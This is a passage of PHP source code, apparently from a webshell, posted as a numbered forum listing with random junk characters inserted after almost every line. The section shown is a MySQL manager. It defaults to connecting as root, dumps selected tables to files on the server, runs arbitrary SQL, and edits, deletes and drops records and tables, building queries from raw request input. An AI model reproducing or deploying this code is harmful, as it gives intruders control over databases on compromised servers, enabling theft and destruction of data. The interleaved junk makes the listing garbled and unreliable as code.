  667.         p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
    & N2 g5 B+ w3 h6 Q
  668.         makehide('dbhost');
    7 y2 t6 H, |' g( r' z; v! }; S
  669.         makehide('dbport');6 n. Y9 U" z- q  I8 c6 i. V
  670.         makehide('dbuser');) S) h7 i3 x/ a+ X* s) V3 O3 p% ?' b
  671.         makehide('dbpass');7 j7 F% H2 c0 v
  672.         makehide('dbname');# K0 i+ _- |, N7 z
  673.         makehide('charset');9 {1 I: ^5 \5 F+ e4 g
  674.         makehide('doing');1 B5 w9 R# }4 G, V8 t
  675.         makehide('action','sqlfile');
    6 ]* G/ c2 \3 c' `4 ]0 m
  676.         p('</form>');$ G! n% L. F, ?' `) G
  677. }
    3 F7 ^9 d9 e, y8 y* c/ N9 E2 F
  678. * _) b$ x* p2 H$ q$ h+ ^& I' x
  679. elseif ($action == 'sqladmin') {
    + U* b$ y# Y$ v( y6 U. E
  680.         !$dbhost && $dbhost = 'localhost';
    + L* P$ A( R; g0 E* H8 E: L2 E9 \2 Y
  681.         !$dbuser && $dbuser = 'root';' @+ f3 {0 E  z
  682.         !$dbport && $dbport = '3306';
    # t: I7 S6 _, r8 F
  683.         $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
    , z# D- h: P$ Q- J( s
  684.         if(isset($dbhost)){+ W3 B+ s- V+ h9 ^/ B' V
  685.                 $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";( [- r$ p8 a$ F6 {; a4 H
  686.         }
    2 g0 v  E5 M& S* S
  687.         if(isset($dbuser)) {( g" h" P" i% t. t/ p7 [
  688.                 $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";
    6 s% t4 v; B" a9 F3 _4 I
  689.         }
    $ ?: D7 V% u5 i% `1 k
  690.         if(isset($dbpass)) {
    : Q% g1 A1 E3 ~, l/ U" K
  691.                 $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";
    0 l  ~" }. ]$ t3 k4 u3 L
  692.         }( T# H' \6 Z* r/ G3 c
  693.         if(isset($dbport)) {4 L! G1 I2 A% ~. x2 H9 I5 j
  694.                 $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";* d2 ?% v7 o3 n
  695.         }
    " Q7 |; b$ m) K) a6 J6 c
  696.         if(isset($dbname)) {
    7 G6 I+ C4 ^3 @4 {* R
  697.                 $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";0 h. t  w' N1 R
  698.         }3 D% c) W. H* ^: K+ i) k4 l. O% g
  699.         if(isset($charset)) {
    , d4 S5 g; k; r
  700.                 $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";) Z4 U1 \' n: i. k; U$ }; i" q( Y
  701.         }
    7 [' a* u2 C0 N4 L) x

  702.   V" k- S! L# O1 c4 R) G6 ]9 z
  703.         if ($doing == 'backupmysql' && $saveasfile) {) F" F' j4 N! v1 i3 q* @
  704.                 if (!$table) {# H3 b) F" R  {' c* P
  705.                         m('Please choose the table');/ T) v9 E7 _- c! X# \) y) _
  706.                 } else {  e/ X, P4 \9 i4 c  ^' F8 T
  707.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);3 M0 ?# m* t7 U7 T# Y! a$ n1 @
  708.                         $table = array_flip($table);# J, y" Z9 `. S! S) D' k! A& y! Y: R
  709.                         $fp = @fopen($path,'w');
    $ s1 i' g5 i# L: N' y; e1 K
  710.                         if ($fp) {0 Z% J- T3 a, y0 ?! F. D
  711.                                 $result = q('SHOW tables');3 @7 c; {+ `. F5 N
  712.                                 if (!$result) p('<h2>'.mysql_error().'</h2>');, c2 |9 Z% Z) S8 p
  713.                                 $mysqldata = '';
    6 N5 d$ ^/ Y/ K) w3 D
  714.                                 while ($currow = mysql_fetch_array($result)) {2 G3 c8 p: P2 j/ J" E, q
  715.                                         if (isset($table[$currow[0]])) {
    8 P. J4 G7 b4 z) w7 `
  716.                                                 sqldumptable($currow[0], $fp);
    : A8 V( q0 F. N- a2 h. n% v! O3 T
  717.                                         }
    . z; C* L* \) \; K) c
  718.                                 }. _) t& U- i& T8 m2 e# [% w/ c  D
  719.                                 fclose($fp);0 w6 ?- I* g2 Y  g
  720.                                 $fileurl = str_replace(SA_ROOT,'',$path);* B% E5 _1 p: W# P! U
  721.                                 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
    7 _1 p/ G3 V! J6 K% m. @
  722.                                 mysql_close();
    , S9 x; H* J& I1 J
  723.                         } else {. z( ~( a# S# A0 ?4 L# \1 L
  724.                                 m('Backup failed');; n! |  h' k- d6 W# M& {8 [
  725.                         }
    0 p* V5 `0 F% ?& R% D2 V* ~* X
  726.                 }- _8 c9 U9 m  A8 P& T) F; }
  727.         }: c8 L5 N) T5 ~3 G! A7 [
  728.         if ($insert && $insertsql) {
    ) y2 r2 I: E, L' ]* ]1 z  s
  729.                 $keystr = $valstr = $tmp = '';% |( \* U8 O# c$ {9 k5 w7 s
  730.                 foreach($insertsql as $key => $val) {; P0 H0 _' }2 C9 n' n) z3 K) N
  731.                         if ($val) {
    ' p2 v. n9 e3 u# r* l5 B, t: S% }
  732.                                 $keystr .= $tmp.$key;
    ; g- O+ k4 c1 ^% l$ p
  733.                                 $valstr .= $tmp."'".addslashes($val)."'";
    ) \/ \( q6 A9 d! K. T/ n( e% i
  734.                                 $tmp = ',';
    : j! [. c7 p5 j& c
  735.                         }
    ) k5 `6 S- ?8 T/ f6 \/ |$ u  h
  736.                 }. E# |% d" j6 l1 y3 k, b# D4 Y8 Q9 e
  737.                 if ($keystr && $valstr) {1 \- f+ }- ]" z
  738.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);# L4 r( i: H% B4 r; R
  739.                         m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
    1 P/ L5 |4 g. M- X% R( P8 q$ X0 K
  740.                 }3 t$ N% X" {3 x0 y( m, t1 ~
  741.         }) g( H, {& r+ g+ A& h
  742.         if ($update && $insertsql && $base64) {7 T% D! T; @4 g: X
  743.                 $valstr = $tmp = '';3 ?0 u. d) u- a3 o
  744.                 foreach($insertsql as $key => $val) {" B/ O, m- O" V: ^
  745.                         $valstr .= $tmp.$key."='".addslashes($val)."'";" s$ k$ N1 K0 S7 J* \
  746.                         $tmp = ',';! J1 q( y0 i% n$ @
  747.                 }
    2 R' R: s6 ~2 R' a* x
  748.                 if ($valstr) {
    % l' m$ h# ?" M
  749.                         $where = base64_decode($base64);
      ?4 j$ Y  i3 S9 p$ g) K6 Y
  750.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);6 l7 a0 C! f& n! K
  751.                         m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
    ( Y* K* x6 t+ b6 I4 n& Y2 I" j  p
  752.                 }
    9 U' K0 Z- ], R" x' y
  753.         }
    , ]# u" h+ k' V/ e% n2 n3 y. M, c' j
  754.         if ($doing == 'del' && $base64) {' l; B( ]% F, U+ e0 w
  755.                 $where = base64_decode($base64);
    , u% s( ]! ?0 c
  756.                 $delete_sql = "DELETE FROM $tablename WHERE $where";+ m; ^: e7 b! r0 C3 G
  757.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    ; O0 K, z; r9 d3 i: G0 V% x5 v5 R
  758.                 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());* f# G# {0 m, x8 c
  759.         }. }& i. x! H3 i  ]9 {& m! G
  760. 3 f$ W  _! q& H# B
  761.         if ($tablename && $doing == 'drop') {
    8 b% N! E* t( f8 d, N& l, r
  762.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    : R+ Z6 k9 T" f
  763.                 if (q("DROP TABLE $tablename")) {$ t& y* V) [! W4 V6 ?. T
  764.                         m('Drop table of success');
    # o  ^& k" j  c; k% d9 m4 Z
  765.                         $tablename = '';' z% e8 T. K; I
  766.                 } else {+ c& d6 S  P& u( x( z
  767.                         m(mysql_error());
    ' w7 |+ t7 p; D2 F- g" I* e
  768.                 }
    , o, v: V6 y& X/ j6 o5 i/ I
  769.         }
    # w: }* W. e2 j6 v  m4 D
  770. / H0 d$ L) R4 ^! F; `4 j8 n
  771.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
    5 ^  G8 s0 T$ ~9 T" g! f

  772. - T, Z: U8 z# y
  773.         formhead(array('title'=>'MYSQL Manager'));5 G% Q" X4 f0 r0 _7 Q" ?
  774.         makehide('action','sqladmin');& n6 A" b/ l4 \+ E" y8 i
  775.         p('<p>');
    0 x$ }; N1 ^) R; }5 K4 `' o4 L9 D, @
  776.         p('DBHost:');/ V0 f! i& [) _4 A
  777.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));/ Q/ d+ F4 r) e3 x. ^; C% z1 I7 K
  778.         p(':');
    - x* R* T+ W; V
  779.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));/ d) A0 m- c$ d
  780.         p('DBUser:');
    2 I; U" _& y0 e' p, M
  781.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
    5 G' Y' ], N8 d) x! E) z1 w
  782.         p('DBPass:');% g/ E* h: R( G" ?
  783.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));6 [* A8 f$ E. ]1 k
  784.         p('DBCharset:');4 N3 _; @+ f6 N. g- m
  785.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
    , c- R, H9 i- V# d
  786.         makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));. t" {7 q% d. N8 ]) y$ J
  787.         p('</p>');
    + \" t& V0 e; G. Q( k8 [( S. ^
  788.         formfoot();
    ( d, H  V3 w8 r
  789. ?>
    $ L; z0 U8 h5 E9 q% a6 }
  790. <script type="text/javascript">) g1 W8 R. K) L/ Q
  791. function editrecord(action, base64, tablename){
    ( L) {. m8 |) r; v8 g1 N
  792.         if (action == 'del') {                ( o: ]& I- \! w( s1 ]0 \2 Y
  793.                 if (!confirm('Is or isn\'t deletion record?')) return;
    & C7 E- ?7 i8 o$ E8 y5 A
  794.         }
    1 F! ?( \1 ~2 l) Q
  795.         $('recordlist').doing.value=action;
    ( c3 j4 @0 W0 T! [
  796.         $('recordlist').base64.value=base64;
    & \- f! P9 `( o, p% w( H
  797.         $('recordlist').tablename.value=tablename;: E8 Q1 r5 w- g; d$ m3 }
  798.         $('recordlist').submit();6 U; Q6 h1 W4 d* u! }3 Y
  799. }2 e6 P. K2 s: \% y( G% s& i* P3 y
  800. function moddbname(dbname) {  ~5 h1 ^3 }" a
  801.         if(!dbname) return;! m* d0 Z. q/ ^
  802.         $('setdbname').dbname.value=dbname;' J2 v) b2 g* d0 Y, H
  803.         $('setdbname').submit();
    + O  I; x3 G: D2 G! b7 z* D
  804. }8 g' i8 Z6 J; T  ]: e4 t# h
  805. function settable(tablename,doing,page) {
    5 R, h2 C5 y$ R: N& F
  806.         if(!tablename) return;: q4 \/ b7 d: F+ u
  807.         if (doing) {- z/ H$ ^! v: a, }! D% C. X$ u
  808.                 $('settable').doing.value=doing;
    ! J7 n& v; ]9 D
  809.         }
    9 s- f2 I( I4 e" W9 b7 B8 i, c; S0 H% Z
  810.         if (page) {4 w9 ?  L% \! e# F
  811.                 $('settable').page.value=page;
    2 [+ i* j/ J6 n2 M$ w- s1 N. r) n
  812.         }1 C8 o& d6 W& s3 r, S
  813.         $('settable').tablename.value=tablename;' a0 v  C* Q1 K( Y+ d
  814.         $('settable').submit();% B: D. `% t) ~9 B8 {
  815. }
    $ o+ R3 B* ]! d! H, Q9 o
  816. </script>% G5 G/ S) i9 B; O5 m$ M" L( W
  817. <?php
    , Y+ J# P4 r8 k+ s1 O, V6 N
  818.         //操作记录; l: J2 J0 G, K2 [" A5 T  ^6 O
  819.         formhead(array('name'=>'recordlist'));/ I' R7 n  N0 e- y& I
  820.         makehide('doing');
    2 w  p- h$ E( q7 l+ q. P4 O
  821.         makehide('action','sqladmin');
    4 ?4 r( a, \" }! F( m8 i8 o! @
  822.         makehide('base64');+ O0 G% H/ i5 c" c5 c' ]
  823.         makehide('tablename');
    8 f3 @+ r5 u7 W3 k2 J
  824.         p($dbform);
    8 M3 {! ?5 s" ?7 C4 y" X" n7 P
  825.         formfoot();
    ) t) l+ V( T  i9 B3 n: Z. q, j* j
  826.         //选定数据库
    6 N$ O" e# w. W2 b# t9 s+ t
  827.         formhead(array('name'=>'setdbname'));
    + [2 b# W) W0 {8 ^
  828.         makehide('action','sqladmin');: U) y& N9 `/ F+ [: P$ F
  829.         p($dbform);( ~! I6 a1 w# V: }+ N* e* `
  830.         if (!$dbname) {
    4 k- I5 f' _$ U$ X9 j
  831.                 makehide('dbname');
    0 r5 L. D- _, b0 Z
  832.         }
    2 E5 y3 P9 W4 q; }1 Q7 [! p
  833.         formfoot();
    $ a5 O# }# h6 S4 T
  834.         //选定表
    9 z- D0 Y8 I* d9 s
  835.         formhead(array('name'=>'settable'));
    * m! M0 y0 Q* T7 k; T/ r8 b
  836.         makehide('action','sqladmin');) D+ z5 T/ N3 [8 r2 U! `
  837.         p($dbform);' a  m. l. j, _( Q
  838.         makehide('tablename');
    8 h9 r. i# X6 n, V/ [; x( j
  839.         makehide('page',$page);
    ) Z' F% A: \6 z6 H
  840.         makehide('doing');3 D6 c7 ]: X% S/ t9 M+ j
  841.         formfoot();( I- \- h, a* v8 S  Q  d
  842.         $cachetables = array();        8 S8 D$ X) m, u5 r7 |4 ~
  843.         $pagenum = 30;
    & S! Y5 t  V+ r8 l
  844.         $page = intval($page);& Q) o. F& @. B$ K# y( q. f, I+ V
  845.         if($page) {
    ) Z6 U" n, Q" F# J1 [* W: R# l
  846.                 $start_limit = ($page - 1) * $pagenum;6 h/ F6 s. M% ~! q) J1 Z; X+ l0 |
  847.         } else {
    - i! D4 ^# d6 R; S' w1 |
  848.                 $start_limit = 0;: R4 l4 E! V: y& x& l0 x2 F( f  t6 _8 E
  849.                 $page = 1;
    " r! W0 Y( b6 h6 A
  850.         }! f9 f" c4 n0 {
  851.         if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
    # a) q+ W2 z" m* s) F% Y
  852.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
    ( G6 m+ m& M7 e# s! e
  853.                 //获取数据库信息9 B% ?" r$ k6 i! ?
  854.                 $mysqlver = mysql_get_server_info();# U) }4 ?, J7 s! [5 z/ j) F
  855.                 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
    $ U; F  ~0 h7 y, B
  856.                 $highver = $mysqlver > '4.1' ? 1 : 0;. f% u+ b6 O) F; H, F+ Y
  857.                 //获取数据库
    8 O9 {- }" x; ~, A: X2 U4 [3 m" g
  858.                 $query = q("SHOW DATABASES");' _, V% v' @( n7 l: f3 _7 d
  859.                 $dbs = array();5 {: y! i! Q* }4 M# F2 H/ h
  860.                 $dbs[] = '-- Select a database --';
    - L+ S; D- A2 [0 C/ t
  861.                 while($db = mysql_fetch_array($query)) {
    ( J* r' c4 H, K8 k+ [  j2 q: ^
  862.                         $dbs[$db['Database']] = $db['Database'];
    % O  C, n1 `$ m# l, `6 w6 l
  863.                 }; y) `! S+ ?% G7 d+ u
  864.                 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
    & _  q1 M! t0 e$ T$ T9 ]0 h
  865.                 $tabledb = array();
    3 ~5 p6 F2 e( m) ~* f7 J
  866.                 if ($dbname) {
    0 I/ a) Z; q5 @5 k" Y! B, B
  867.                         p('<p>');/ i- b0 U" w' S) ]* J
  868.                         p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
    5 L9 I. M4 O% T. Z- J
  869.                         if ($tablename) {9 U, N% A0 V' [4 F" U/ d
  870.                                 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');! s$ q' {3 I1 |% ?. I, p
  871.                         }9 s) B) s' s/ C) b7 A- Q
  872.                         p('</p>');- z1 t! q" I6 t( `
  873.                         mysql_select_db($dbname);
    ) P- P% T1 I; h" S& F
  874.                         $getnumsql = '';) d' b' }8 X, J, m1 n, ?- m$ O
  875.                         $runquery = 0;
    : E5 D! @+ U# U8 K) V. a
  876.                         if ($sql_query) {- S* ~: b* F! E, ]& F* ^, ^4 P
  877.                                 $runquery = 1;
    - T- X1 t& T# q% i% H, ~# A+ }
  878.                         }* k& e+ T7 A( _" d1 L
  879.                         $allowedit = 0;) x* S2 O# T& N$ n# ?! D/ _; n5 h! ]) ?
  880.                         if ($tablename && !$sql_query) {
    * b: ?8 m* B1 O, |( I& Q3 A
  881.                                 $sql_query = "SELECT * FROM $tablename";3 y2 y! t7 K( M# b
  882.                                 $getnumsql = $sql_query;
    ' G% m3 X; @5 h0 _$ x: P& o3 D1 Z  X+ ]
  883.                                 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";4 [. V# }. C0 P# `, P; o7 s+ a
  884.                                 $allowedit = 1;+ t) {8 S. `3 P* {( p+ @5 m- x' R
  885.                         }
    / O3 N8 ?7 D! B" h& s
  886.                         p('<form action="'.$self.'" method="POST">');$ S1 T% J, M9 l8 Z
  887.                         p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
    9 A3 U1 l! q9 i/ d% ^% W; i
  888.                         makehide('tablename', $tablename);0 F, g4 N; y: W" z, G. f8 v0 U
  889.                         makehide('action','sqladmin');
    , w9 [& L0 k4 ^2 ]) Q" b: J# o
  890.                         p($dbform);% o$ b% y' J! b  n0 N2 b4 A
  891.                         p('</form>');& D4 h7 V8 n& s5 I% j5 |7 f
  892.                         if ($tablename || ($runquery && $sql_query)) {5 y9 w* f7 F8 p7 |. y* I( r$ `
  893.                                 if ($doing == 'structure') {( r$ k% v# @7 n
  894.                                         $result = q("SHOW COLUMNS FROM $tablename");$ g- h5 A6 B' v, T. [4 m. Y
  895.                                         $rowdb = array();
    4 R* S* q/ s2 c9 N
  896.                                         while($row = mysql_fetch_array($result)) {
      `+ w* ~$ g8 k; f( v& l
  897.                                                 $rowdb[] = $row;' n& r5 o2 `4 W0 j# z$ S1 S' s
  898.                                         }* o# o2 I7 s$ X
  899.                                         p('<table border="0" cellpadding="3" cellspacing="0">');+ i2 w9 P0 ]& j+ a+ z8 T! B
  900.                                         p('<tr class="head">');6 J0 B  @! a, z# ^, c
  901.                                         p('<td>Field</td>');
    $ y+ M; P8 ~# j# ^6 J0 n5 C2 I' y
  902.                                         p('<td>Type</td>');
    % a9 h) p5 V" \4 s4 a5 A9 [0 n
  903.                                         p('<td>Null</td>');
    # G) i8 }0 E& ]6 I/ V+ W( n, C
  904.                                         p('<td>Key</td>');
    $ t  ~7 }; P* W; S- y, s8 m: M. o( @
  905.                                         p('<td>Default</td>');8 J/ @& S* v' j) X' @0 I
  906.                                         p('<td>Extra</td>');: T; n- ^3 K* a( B) `$ [$ ~6 j
  907.                                         p('</tr>');& k/ @# |' S9 y: `) b$ S- k; V  _
  908.                                         foreach ($rowdb as $row) {
    / e; o  G$ @- H( s# L: B
  909.                                                 $thisbg = bg();- b3 ]9 L% s4 U% g
  910.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');- j$ a) s. A: F5 `, i
  911.                                                 p('<td>'.$row['Field'].'</td>');! [/ n  a9 S5 J7 w- o
  912.                                                 p('<td>'.$row['Type'].'</td>');
    4 S8 w8 d' m" J% W) F; `% T
  913.                                                 p('<td>'.$row['Null'].' </td>');1 i# p  A0 h. X- ~
  914.                                                 p('<td>'.$row['Key'].' </td>');' F  e: H  U* u8 o9 D
  915.                                                 p('<td>'.$row['Default'].' </td>');
    / P  @6 x+ a; x  Q
  916.                                                 p('<td>'.$row['Extra'].' </td>');6 `+ F; m+ S0 f
  917.                                                 p('</tr>');
    " A' i0 |6 o6 F: O
  918.                                         }8 Z% G: W  R+ O9 z6 k; [8 a! A" R
  919.                                         tbfoot();
    1 s  u5 Y* [& D( S# \
  920.                                 } elseif ($doing == 'insert' || $doing == 'edit') {
    3 G& {: L% R& ]/ s
  921.                                         $result = q('SHOW COLUMNS FROM '.$tablename);$ w( I9 q) {. D3 ^# ]: Q$ N* [# C" \
  922.                                         while ($row = mysql_fetch_array($result)) {
    ' F; C1 _, s  a, X& h) N! `( L
  923.                                                 $rowdb[] = $row;* B) |+ R5 \" E* d9 o3 A# x( I+ y
  924.                                         }
    $ |  v3 |* j4 x+ D
  925.                                         $rs = array();
    + n0 i  d* z2 v9 I
  926.                                         if ($doing == 'insert') {
    & y7 B3 c2 c: H, {/ j* n! b
  927.                                                 p('<h2>Insert new line in '.$tablename.' table »</h2>');
    + M* {3 d5 R6 E. U6 {  z$ {. H  T
  928.                                         } else {
    ( y3 g  i/ _2 B+ s
  929.                                                 p('<h2>Update record in '.$tablename.' table »</h2>');
    3 C' F4 D5 E* }# V6 ~1 E; G
  930.                                                 $where = base64_decode($base64);
    . e; l! ~8 N  ?  C. \: T, y
  931.                                                 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
    ( h9 G: h6 h! m- O
  932.                                                 $rs = mysql_fetch_array($result);" w: E, e# E9 H9 s' z# A2 [
  933.                                         }5 O0 k; \6 X# i* Y: G; W# r
  934.                                         p('<form method="post" action="'.$self.'">');; S% s0 ~" C% {
  935.                                         p($dbform);  Q6 v0 @3 f; I+ |+ y$ ]
  936.                                         makehide('action','sqladmin');
    " t# s( U4 C1 b8 X: A" _8 m4 U
  937.                                         makehide('tablename',$tablename);+ \! C* S% a. |/ K7 o
  938.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
    * \) d" q& v' |' d9 @. J/ M8 R, k+ ~& s
  939.                                         foreach ($rowdb as $row) {
    : K+ [8 H  |  Y8 V
  940.                                                 if ($rs[$row['Field']]) {
    2 W$ i# ?* l/ x; r" n6 [& ]
  941.                                                         $value = htmlspecialchars($rs[$row['Field']]);$ E9 r. ]' E: R0 }
  942.                                                 } else {
    ) Y; ^" r; t% l2 T
  943.                                                         $value = '';, `7 G7 J2 l! }8 G  m
  944.                                                 }
    - Z8 I' k5 H* z
  945.                                                 $thisbg = bg();  a" g* e3 J8 }2 X6 B8 a/ K
  946.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');2 `$ T5 m% c5 M$ D
  947.                                                 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
    % c# V( O9 a# D% N9 M% L
  948.                                         }
    5 v6 d6 V/ {) w3 Z, @7 a: t
  949.                                         if ($doing == 'insert') {
    3 l3 Y. U1 h7 F3 ^0 h, m& Z+ A
  950.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');. R9 r) K# e% l) m3 w' E; c
  951.                                         } else {" e& ~/ H8 d' \8 @" p, g
  952.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');6 K: d2 e  u: |" U
  953.                                                 makehide('base64', $base64);3 M) y, A* R0 C1 c# o2 J
  954.                                         }/ ~* T" _/ V8 P: K* ]3 a9 G1 G5 K
  955.                                         p('</table></form>');4 R$ v( X8 G/ W
  956.                                 } else {
    5 T# p/ L( U% J! O5 t/ L
  957.                                         $querys = @explode(';',$sql_query);
    7 p. E$ X. H5 h( i  [- E2 Y* f
  958.                                         foreach($querys as $num=>$query) {: C8 F  x( x8 R, a' w" j
  959.                                                 if ($query) {
    ( p# w1 Q; y) Y/ V4 V* t3 i4 P
  960.                                                         p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
    1 O6 j( I$ b& W; s4 h% b  [5 x: e& h
  961.                                                         switch(qy($query))
    4 ]& y0 [( y' r8 m
  962.                                                         {7 F0 A3 V/ |% |# d2 F9 _% C# C
  963.                                                                 case 0:
    3 I! f0 ]) H' W/ K9 p
  964.                                                                         p('<h2>Error : '.mysql_error().'</h2>');
    2 Q/ M8 O" u8 s( M* j- {  J+ V
  965.                                                                         break;        ' y4 @3 I  }: U5 T
  966.                                                                 case 1:, k' h$ q/ i! n  S' o
  967.                                                                         if (strtolower(substr($query,0,13)) == 'select * from') {
    7 v! `7 d: d# t1 J/ P
  968.                                                                                 $allowedit = 1;
      s1 E; z3 |# {* t/ x: w' x
  969.                                                                         }
    % H* o0 S; M- N+ Z5 N% D6 a
  970.                                                                         if ($getnumsql) {. O' K& C0 M4 ]
  971.                                                                                 $tatol = mysql_num_rows(q($getnumsql));( _& y: f6 Y6 v9 F: a' u' ?
  972.                                                                                 $multipage = multi($tatol, $pagenum, $page, $tablename);' p( L! j, n# Q- a6 j# z+ ~$ ]  b
  973.                                                                         }  R1 K: ]* b2 c+ I- K( m
  974.                                                                         if (!$tablename) {5 Z0 j( g! h; [: p+ B  d  v
  975.                                                                                 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
    " G5 x: `$ ?/ \. L# ^
  976.                                                                                 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);* |; a0 I# f1 _4 o% D7 ^8 C& j- L+ Y
  977.                                                                                 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);% r( j* D+ f) a
  978.                                                                                 $tablename = $matches[1][0];  E0 z7 L* n5 J2 M4 c
  979.                                                                         }
    : A% X9 `3 U1 A/ r" _3 d" ^8 K# M; y
  980.                                                                         $result = q($query);
    ; T) X. J/ [8 T) w/ x8 b& t9 `
  981.                                                                         p($multipage);; ]  L, b0 y; `% G2 [5 d
  982.                                                                         p('<table border="0" cellpadding="3" cellspacing="0">');! N( [$ c1 S, j  N1 f6 p" S7 N
  983.                                                                         p('<tr class="head">');- R2 I- L% C/ l" l
  984.                                                                         if ($allowedit) p('<td>Action</td>');8 ?' S# p! K* i4 O  u+ l
  985.                                                                         $fieldnum = @mysql_num_fields($result);7 E7 C' I$ M- P( [/ Z3 v' e' u
  986.                                                                         for($i=0;$i<$fieldnum;$i++){: [! L, u7 T. K# A- y
  987.                                                                                 $name = @mysql_field_name($result, $i);0 n4 H1 V8 a; f/ |
  988.                                                                                 $type = @mysql_field_type($result, $i);' c1 [! J2 ^! [5 W0 P8 K
  989.                                                                                 $len = @mysql_field_len($result, $i);1 \# f: J& E( i( t9 u  Q/ N
  990.                                                                                 p("<td nowrap>$name<br><span>$type($len)</span></td>");
    & ~- l" A+ x8 _/ y" Y) D
  991.                                                                         }
    " }4 P$ C1 L* W+ B: g
  992.                                                                         p('</tr>');
    0 p! ~' j6 ?/ y) J) l9 k
  993.                                                                         while($mn = @mysql_fetch_assoc($result)){
    + F  ]2 z/ e$ l* l# T" y
  994.                                                                                 $thisbg = bg();2 Z0 |- F7 R- {& Z7 |6 L: X, Q
  995.                                                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');0 t+ p& C4 C; h! ]: m
  996.                                                                                 $where = $tmp = $b1 = '';' T- f0 k. H* j! X0 p% _! e
  997.                                                                                 foreach($mn as $key=>$inside){: i. r0 N* V; O8 H5 Z5 R5 m
  998.                                                                                         if ($inside) {+ M; U/ @  N2 v6 u" O& ^9 L7 P# J" V4 ]# y
  999.                                                                                                 $where .= $tmp.$key."='".addslashes($inside)."'";
    , a0 e$ i5 O+ s7 d
  1000.                                                                                                 $tmp = ' AND ';
    9 B% }8 y7 [. Y5 a
  1001.                                                                                         }% w7 z8 m+ F4 O* E5 K4 q* S
  1002.                                                                                         $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
    ( O- _) ^% ~1 y' ^$ f& @
  1003.                                                                                 }
    ' V# d% V+ b, m2 J
  1004.                                                                                 $where = base64_encode($where);
    8 r7 C' {/ A9 u( c/ H
  1005.                                                                                 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
    : b9 V: Q% I7 ?0 R  k
  1006.                                                                                 p($b1);
    ( e0 r( m+ w6 E
  1007.                                                                                 p('</tr>');
    2 q2 j4 y- H! R6 I& K) a
  1008.                                                                                 unset($b1);, A* D; H7 I& K+ E, y3 J0 {
  1009.                                                                         }, D5 K) D! w" c$ ^% H; Y5 E
  1010.                                                                         tbfoot();
    ! K( i' t, O7 o! D" d
